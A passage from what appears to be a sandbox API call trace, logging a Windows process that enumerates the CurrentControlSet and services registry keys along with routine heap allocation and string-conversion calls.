BaseAddress=0x21f1e38) returned 1 [0253.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.426] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1e38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0253.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.426] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.426] RegCloseKey (hKey=0xc4) returned 0x0 [0253.426] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0253.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.426] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0253.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.427] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.427] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.427] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.427] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1c40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0253.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.427] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.427] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.427] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.427] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0253.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.427] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.427] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.427] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.427] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0253.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.427] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.427] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.427] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.427] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.428] RegCloseKey (hKey=0x14c) returned 0x0 [0253.428] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0253.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.428] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0253.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1c40, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0253.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.428] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0253.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1e38, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0253.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.428] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0253.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1c40, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0253.429] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.429] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.429] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.429] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.429] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.429] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0253.429] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1e38, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0253.429] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.429] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.429] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.429] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.429] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.429] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0253.429] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1c40, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0253.429] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.429] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.429] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.429] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.429] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.429] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.429] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0253.429] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.429] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.429] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.429] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.429] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.430] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.430] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0253.430] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.430] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.430] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.430] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.430] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.430] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.430] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0253.430] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.430] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.430] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.430] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.430] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0253.430] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.430] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0253.430] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.430] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.430] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.430] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.430] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0253.430] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0253.430] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1e38, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0253.430] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.431] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.431] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.431] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.431] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0253.431] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.431] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0253.431] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.431] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.431] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.431] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.431] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0253.431] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.431] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0253.431] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.431] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.431] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.431] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.431] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0253.431] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.431] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0253.431] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.431] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.431] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.431] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) 